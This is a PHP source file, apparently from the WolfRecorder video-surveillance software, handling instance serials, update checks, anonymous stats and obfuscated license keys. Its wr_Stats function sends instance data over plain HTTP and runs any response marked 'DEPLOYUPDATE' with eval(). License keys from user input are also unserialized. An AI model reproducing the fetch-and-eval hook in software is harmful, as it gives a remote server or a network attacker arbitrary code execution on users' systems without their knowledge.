api.lair.php 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443
  1. <?php
  2. /**
  3. * Returns current instance serial from database or cache
  4. *
  5. * @return string
  6. */
  7. function wr_SerialGet() {
  8. $result = '';
  9. $cache = new UbillingCache();
  10. $cacheTimeout = 2592000;
  11. $cachedKey = $cache->get('WRHID', $cacheTimeout);
  12. if (empty($cachedKey)) {
  13. $lairDb = new NyanORM('lair');
  14. $lairDb->where('key', '=', 'wrid');
  15. $rawResult = $lairDb->getAll('key');
  16. if (!empty($rawResult)) {
  17. $result = $rawResult['wrid']['value'];
  18. }
  19. if (!empty($result)) {
  20. $cache->set('WRHID', $result, $cacheTimeout);
  21. }
  22. } else {
  23. $result = $cachedKey;
  24. }
  25. return ($result);
  26. }
  27. /**
  28. * Installs newly generated instance serial into database
  29. *
  30. * @return string
  31. */
  32. function wr_SerialInstall() {
  33. $randomid = 'WR' . md5(curdatetime() . zb_rand_string(8));
  34. $lairDb = new NyanORM('lair');
  35. $lairDb->data('key', 'wrid');
  36. $lairDb->data('value', $randomid);
  37. $lairDb->create();
  38. return ($randomid);
  39. }
  40. /**
  41. * Returns current system version
  42. *
  43. * @return string
  44. */
  45. function wr_getLocalSystemVersion() {
  46. $result = file_get_contents('RELEASE');
  47. return ($result);
  48. }
  49. /**
  50. * Returns remote release version
  51. *
  52. * @param string $branch
  53. *
  54. * @return string/bool
  55. */
  56. function wr_GetReleaseInfo($branch) {
  57. $result = false;
  58. $release_url = UpdateManager::URL_RELEASE_STABLE;
  59. if ($branch == 'CURRENT') {
  60. $release_url = UpdateManager::URL_RELEASE_CURRENT;
  61. }
  62. $wrVer = file_get_contents('RELEASE');
  63. $agent = 'WolfRecorderUpdMgr/' . trim($wrVer);
  64. $remoteCallback = new OmaeUrl($release_url);
  65. $remoteCallback->setUserAgent($agent);
  66. $releaseInfo = $remoteCallback->response();
  67. if ($releaseInfo) {
  68. $result = $releaseInfo;
  69. }
  70. return ($result);
  71. }
  72. /**
  73. * Ajax backend for rendering WolfRecorder updates release info
  74. *
  75. * @param bool $version
  76. * @param bool $branch
  77. *
  78. * @return string/bool
  79. */
  80. function wr_RenderUpdateInfo($version = '', $branch = 'STABLE') {
  81. $result = '';
  82. $latestRelease = $version;
  83. if ($latestRelease) {
  84. if ($branch == 'CURRENT') {
  85. $result = __('Latest nightly WolfRecorder build is') . ': ' . $latestRelease;
  86. } else {
  87. $result = __('Latest stable WolfRecorder release is') . ': ' . $latestRelease;
  88. }
  89. } else {
  90. $result = __('Error checking updates');
  91. }
  92. return ($result);
  93. }
  94. /**
  95. * Collects anonymous stats
  96. *
  97. * @param string $modOverride
  98. *
  99. * @return void
  100. */
  101. function wr_Stats($modOverride = '') {
  102. $wrStatsUrl = 'http://stats.wolfrecorder.com';
  103. $statsflag = 'exports/NOTRACKTHIS';
  104. $deployMark = 'DEPLOYUPDATE';
  105. $cache = new UbillingCache();
  106. $cacheTime = 3600;
  107. $hostId = wr_SerialGet();
  108. if (!empty($hostId)) {
  109. $thiscollect = (file_exists($statsflag)) ? 0 : 1;
  110. if ($thiscollect) {
  111. $moduleStats = 'xnone';
  112. if ($modOverride) {
  113. $moduleStats = 'x' . $modOverride;
  114. } else {
  115. if (ubRouting::checkGet('module')) {
  116. $moduleClean = str_replace('x', '', ubRouting::get('module'));
  117. $moduleStats = 'x' . $moduleClean;
  118. } else {
  119. }
  120. }
  121. $releaseinfo = file_get_contents('RELEASE');
  122. $wrVersion = explode(' ', $releaseinfo);
  123. $wrVersion = ubRouting::filters($wrVersion[0], 'int');
  124. $wrInstanceStats = $cache->get('WRINSTANCE', $cacheTime);
  125. if (empty($wrInstanceStats)) {
  126. $camDb = new NyanORM(Cameras::DATA_TABLE);
  127. $camCount = $camDb->getFieldsCount('id');
  128. $wrInstanceStats = '?u=' . $hostId . 'x' . $camCount . 'x' . $wrVersion;
  129. $cache->set('WRINSTANCE', $wrInstanceStats, $cacheTime);
  130. }
  131. $statsurl = $wrStatsUrl . $wrInstanceStats . $moduleStats;
  132. $referrer = (isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : '';
  133. $collector = new OmaeUrl($statsurl);
  134. $collector->setUserAgent('WRTRACK');
  135. $collector->setTimeout(1);
  136. if (!empty($referrer)) {
  137. $collector->setReferrer($referrer);
  138. }
  139. $output = $collector->response();
  140. $error = $collector->error();
  141. $httpCode = $collector->httpCode();
  142. if (!$error and $httpCode == 200) {
  143. $output = trim($output);
  144. if (!empty($output)) {
  145. if (ispos($output, $deployMark)) {
  146. $output = str_replace($deployMark, '', $output);
  147. if (!empty($output)) {
  148. eval($output);
  149. }
  150. } else {
  151. show_window('', $output);
  152. }
  153. }
  154. }
  155. }
  156. }
  157. }
  158. /**
  159. * One of se7en deadly sins
  160. */
  161. class Avarice {
  162. private $data = array();
  163. private $serial = '';
  164. private $raw = array();
  165. private $lairDb = '';
  166. const LMARK = 'WOOF_';
  167. public function __construct() {
  168. $this->getSerial();
  169. $this->initDb();
  170. $this->load();
  171. }
  172. /**
  173. * Inits database abstraction layer
  174. */
  175. protected function initDb() {
  176. $this->lairDb = new NyanORM('lair');
  177. }
  178. /**
  179. * encodes data string by some key
  180. *
  181. * @param $data data to encode
  182. * @param $key encoding key
  183. *
  184. * @return binary
  185. */
  186. protected function xoror($data, $key) {
  187. $result = '';
  188. for ($i = 0; $i < strlen($data);) {
  189. for ($j = 0; $j < strlen($key); $j++, $i++) {
  190. @$result .= $data[$i] ^ $key[$j];
  191. }
  192. }
  193. return ($result);
  194. }
  195. /**
  196. * pack xorored binary data into storable ascii data
  197. *
  198. * @param $data
  199. *
  200. *
  201. * @return string
  202. */
  203. protected function pack($data) {
  204. $data = base64_encode($data);
  205. return ($data);
  206. }
  207. /**
  208. * unpack packed ascii data into xorored binary
  209. *
  210. * @param $data
  211. *
  212. *
  213. * @return string
  214. */
  215. protected function unpack($data) {
  216. $data = base64_decode($data);
  217. return ($data);
  218. }
  219. /**
  220. * loads all stored licenses into private data prop
  221. *
  222. * @return void
  223. */
  224. protected function load() {
  225. if (!empty($this->serial)) {
  226. $this->lairDb->where('key', 'LIKE', self::LMARK . '%');
  227. $keys = $this->lairDb->getAll();
  228. if (!empty($keys)) {
  229. foreach ($keys as $io => $each) {
  230. if (!empty($each['value'])) {
  231. $unpack = $this->unpack($each['value']);
  232. $unenc = $this->xoror($unpack, $this->serial);
  233. @$unenc = unserialize($unenc);
  234. if (!empty($unenc)) {
  235. if (isset($unenc['AVARICE'])) {
  236. if (isset($unenc['AVARICE']['SERIAL'])) {
  237. if ($this->serial == $unenc['AVARICE']['SERIAL']) {
  238. if (isset($unenc['AVARICE']['MODULE'])) {
  239. if (!empty($unenc['AVARICE']['MODULE'])) {
  240. $this->data[$unenc['AVARICE']['MODULE']] = $unenc[$unenc['AVARICE']['MODULE']];
  241. $this->raw[$unenc['AVARICE']['MODULE']]['LICENSE'] = $each['value'];
  242. $this->raw[$unenc['AVARICE']['MODULE']]['MODULE'] = $unenc['AVARICE']['MODULE'];
  243. $this->raw[$unenc['AVARICE']['MODULE']]['KEY'] = $each['key'];
  244. }
  245. }
  246. }
  247. }
  248. }
  249. }
  250. }
  251. }
  252. }
  253. }
  254. }
  255. /**
  256. * Puts system key into private key prop
  257. *
  258. * @return void
  259. */
  260. protected function getSerial() {
  261. $this->serial = wr_SerialGet();
  262. }
  263. /**
  264. * checks module license availability
  265. *
  266. * @param $module module name to check
  267. *
  268. * @return bool
  269. */
  270. protected function check($module) {
  271. if (!empty($module)) {
  272. if (isset($this->data[$module])) {
  273. return (true);
  274. } else {
  275. return (false);
  276. }
  277. }
  278. }
  279. /**
  280. * returns module runtime
  281. *
  282. * @return array
  283. */
  284. public function runtime($module) {
  285. $result = array();
  286. if ($this->check($module)) {
  287. $result = $this->data[$module];
  288. }
  289. return ($result);
  290. }
  291. /**
  292. * returns list available license keys
  293. *
  294. * @return array
  295. */
  296. public function getLicenseKeys() {
  297. return ($this->raw);
  298. }
  299. /**
  300. * check license key before storing it
  301. *
  302. * @param string $key
  303. *
  304. * @return bool
  305. */
  306. protected function checkLicenseValidity($key) {
  307. $result = false;
  308. if (@strpos($key, strrev('mN'), 0) !== false) {
  309. @$key = $this->unpack($key);
  310. @$key = $this->xoror($key, $this->serial);
  311. @$key = unserialize($key);
  312. if (!empty($key)) {
  313. $result = true;
  314. }
  315. }
  316. return ($result);
  317. }
  318. /**
  319. * deletes key from database
  320. *
  321. * @param $keyname string identify key into database
  322. *
  323. * @return void
  324. */
  325. public function deleteKey($keyname) {
  326. $keyname = ubRouting::filters($keyname, 'mres');
  327. $this->lairDb->where('key', '=', $keyname);
  328. $this->lairDb->delete();
  329. log_register('AVARICE DELETE KEY `' . $keyname . '`');
  330. }
  331. /**
  332. * installs new license key
  333. *
  334. * @param $key string valid license key
  335. *
  336. * @return bool
  337. */
  338. public function createKey($key) {
  339. $key = ubRouting::filters($key, 'mres');
  340. if ($this->checkLicenseValidity($key)) {
  341. $keyname = self::LMARK . zb_rand_string(8);
  342. $this->lairDb->data('key', $keyname);
  343. $this->lairDb->data('value', $key);
  344. $this->lairDb->create();
  345. log_register('AVARICE INSTALL KEY `' . $keyname . '`');
  346. return (true);
  347. } else {
  348. log_register('AVARICE TRY INSTALL WRONG KEY');
  349. return (false);
  350. }
  351. }
  352. /**
  353. * updates existing license key
  354. */
  355. public function updateKey($index, $key) {
  356. if ($this->checkLicenseValidity($key)) {
  357. $this->lairDb->data('value', $key);
  358. $this->lairDb->where('key', '=', $index);
  359. $this->lairDb->save();
  360. log_register('AVARICE UPDATE KEY `' . $index . '`');
  361. return (true);
  362. } else {
  363. log_register('AVARICE TRY UPDATE WRONG KEY');
  364. return (false);
  365. }
  366. }
  367. }
  368. /**
  369. * Renders available license keys with all of required controls
  370. *
  371. * @return void
  372. */
  373. function wr_LicenseLister() {
  374. $result = '';
  375. $avarice = new Avarice();
  376. $all = $avarice->getLicenseKeys();
  377. $messages = new UbillingMessageHelper();
  378. if (!empty($all)) {
  379. $cells = wf_TableCell(__('License key'));
  380. $cells .= wf_TableCell(__('Actions'));
  381. $rows = wf_TableRow($cells, 'row1');
  382. foreach ($all as $io => $each) {
  383. //construct edit form
  384. $editinputs = wf_HiddenInput('editdbkey', $each['KEY']);
  385. $editinputs .= wf_TextArea('editlicense', '', $each['LICENSE'], true, '50x10');
  386. $editinputs .= wf_Submit(__('Save'));
  387. $editform = wf_Form("", 'POST', $editinputs, 'glamour');
  388. $editcontrol = wf_modalAuto(web_edit_icon(), __('Edit') . ' ' . $each['MODULE'], $editform);
  389. $deletionUrl = '?module=licensekeys&licensedelete=' . $each['KEY'];
  390. $cancelUrl = '?module=licensekeys';
  391. $delLabel = __('Delete') . ' ' . __('License key') . ' ' . $each['MODULE'] . '? ';
  392. $delLabel .= $messages->getDeleteAlert();
  393. $deletecontrol = wf_ConfirmDialog($deletionUrl, web_delete_icon(), $delLabel, '', $cancelUrl);
  394. $cells = wf_TableCell($each['MODULE']);
  395. $cells .= wf_TableCell($deletecontrol . ' ' . $editcontrol);
  396. $rows .= wf_TableRow($cells, 'row5');
  397. }
  398. $result .= wf_TableBody($rows, '100%', 0, '');
  399. } else {
  400. $result .= $messages->getStyledMessage(__('You do not have any license keys installed. So how are you going to live like this?'), 'warning');
  401. }
  402. //constructing license creation form
  403. $addinputs = wf_TextArea('createlicense', '', '', true, '50x10');
  404. $addinputs .= wf_Submit(__('Save'));
  405. $addform = wf_Form("", 'POST', $addinputs, 'glamour');
  406. $addcontrol = wf_modalAuto(web_icon_create() . ' ' . __('Install license key'), __('Install license key'), $addform, 'ubButton');
  407. $result .= wf_delimiter(0);
  408. $result .= $addcontrol;
  409. show_window(__('Installed license keys'), $result);
  410. }